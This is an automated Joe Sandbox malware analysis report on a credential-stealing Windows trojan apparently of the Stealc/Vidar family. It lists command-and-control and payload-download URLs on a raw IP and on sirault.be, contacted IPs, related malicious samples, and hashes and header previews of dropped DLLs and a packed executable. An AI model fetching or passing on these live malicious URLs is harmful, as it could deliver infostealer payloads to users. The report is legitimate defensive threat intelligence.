http://109.107.157.208/74bc575e584e922c/nss3.dlls7	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp, T220UXIoKO.exe, 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	false	URL Reputation: safe	unknown
https://sirault.be/chrome_93.exebytes=0-2097151	T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E610000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E634000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false		unknown
http://109.107.157.208/74bc575e584e922c/sqlite3.dllK4	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sirault.be/chrome_93.exent-Disposition:	T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	T220UXIoKO.exe, 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
https://sirault.be/chrome_93.exee.1	T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E634000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	T220UXIoKO.exe, T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp, T220UXIoKO.exe, 00000000.00000003.1740576000.0000000020D91000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://109.107.157.208FCB	T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://sirault.be/m	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
http://109.107.157.208/74bc575e584e922c/mozglue.dll14	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	false	URL Reputation: safe	unknown
https://sirault.be/chrome_93.exe10Start0n:	T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://support.mozilla.org	AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
https://sirault.be/	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.98.131.200	sirault.be	France		16347	RMI-FITECHFR	false
109.107.157.208	unknown	unknown		29314	VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541124
Start date and time:	2024-10-24 13:26:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	T220UXIoKO.exe renamed because original name is a hash value
Original Sample Name:	ae4d9a7e7f5a086b46b05f5949fc1c78.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 83 Number of non-executed functions: 210
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: T220UXIoKO.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.98.131.200	X2lvDxMUmn.exe	Get hash	malicious	Stealc, Vidar	Browse
185.98.131.200	vkkTIT6kcx.exe	Get hash	malicious	Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sirault.be	X2lvDxMUmn.exe	Get hash	malicious	Stealc, Vidar	Browse	185.98.131.200
sirault.be	vkkTIT6kcx.exe	Get hash	malicious	Stealc, Vidar	Browse	185.98.131.200

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL	arm5.elf	Get hash	malicious	Unknown	Browse	178.235.230.100
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	178.235.82.120
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	78.88.71.211
	jade.x86.elf	Get hash	malicious	Mirai	Browse	95.160.85.220
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	78.88.9.121
	nuklear.arm.elf	Get hash	malicious	Unknown	Browse	93.105.146.207
	eLSH927bGM.elf	Get hash	malicious	Unknown	Browse	93.105.146.209
	na.elf	Get hash	malicious	Mirai	Browse	93.105.223.164
	file.exe	Get hash	malicious	Unknown	Browse	88.156.92.211
	SecuriteInfo.com.Linux.Siggen.9999.31454.15725.elf	Get hash	malicious	Unknown	Browse	82.139.21.108
RMI-FITECHFR	X2lvDxMUmn.exe	Get hash	malicious	Stealc, Vidar	Browse	185.98.131.200
	vkkTIT6kcx.exe	Get hash	malicious	Stealc, Vidar	Browse	185.98.131.200
	IWnUKXop2x.elf	Get hash	malicious	Mirai, Okiru	Browse	213.108.66.61
	http://monespacebnpp.com/	Get hash	malicious	Unknown	Browse	193.203.239.85
	yakov.mips.elf	Get hash	malicious	Mirai	Browse	213.108.70.150
	RFQ-230802024.PDF.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	193.37.145.71
	NNj87.exe	Get hash	malicious	FormBook	Browse	193.37.145.73
	NJjU88.exe	Get hash	malicious	FormBook	Browse	193.37.145.73
	BHYIOPIj.exe	Get hash	malicious	FormBook	Browse	193.37.145.73
	advantages_and_disadvantages_of_partnership_working_in_health_and_soci (gz).js	Get hash	malicious	Unknown	Browse	192.162.69.239

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	PO%20K22012FA[1].docx	Get hash	malicious	Unknown	Browse	185.98.131.200
	Renommxterne.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.98.131.200
	Produccion.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.98.131.200
	226999705-124613-sanlccjavap0004-67.exe	Get hash	malicious	Snake Keylogger	Browse	185.98.131.200
	EL-25-536_40005512_Le Cuivre_23102024.vbe	Get hash	malicious	GuLoader	Browse	185.98.131.200
	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	185.98.131.200
	RFQ_64182MR_PDF.R00.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.98.131.200
	Monetary_002993034958293.js	Get hash	malicious	Unknown	Browse	185.98.131.200
	Adeleidae.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.98.131.200
	FACTURA A-7507_H1758.exe	Get hash	malicious	GuLoader	Browse	185.98.131.200

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	NK3SASJheq.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	NK3SASJheq.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKKECFBGIIIEBGDGDAKJKKKEB

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBAAAKFC

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJKECAAAFHJECAAAEBFCAEBFHC

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAKJDAA

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAKJDAAFB.exe

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7060480
Entropy (8bit):	7.9177410519035565
Encrypted:	false
SSDEEP:	196608:UUgN6gTxXVTVZIQBOmju6j1tMKG6LTMYWUHNR0dwoolQ:UUgM+FhVZI09juU7/MYZNROd
MD5:	E76E61C0A6EF8BBC226438DDF4C1286D
SHA1:	CE75AAB1F4965390532D8E1197EE8E6026DFF329
SHA-256:	836CF43D4656EB346ABD12E36272E32AD7E4279C4D0A60444BF259EC063BFFFE
SHA-512:	BD0B727A466BBAA9ADB66B20C5A22903F685AAA18F393CACEA6EE6C6B0DFB238A795E38DBB8E980C92C6EB14322C3EDB34848438817D76827343748C0C241E24
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...G..g.........."...........l................@....................................&.....`.................................................B0n.d....Pn.H...(+..............................................(@n.(................................................... ........qo.................. ..` d*... .......t..............@..@ ..l..P..;.Q.................@... ......m......BR.............@..@ ......m......DR.............@..@ ......n......FR.............@... P.....n.n....HR.............@..@ x.... n.i....JR.............@..B.imports.....0n......LR.............@....tls.........@n......NR..................rsrc........Pn......PR.............@..@.themida..W..`n......TR.............`....boot.....1.......1..TR.............`..`.reloc...............Z.................@........................................................

C:\ProgramData\JDAKJDAAFBKFHIEBFCFB

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJJJEBGDAFHJEBGDGIJD

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCAFIIDHIDGHIECGDGI

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: NK3SASJheq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: NK3SASJheq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
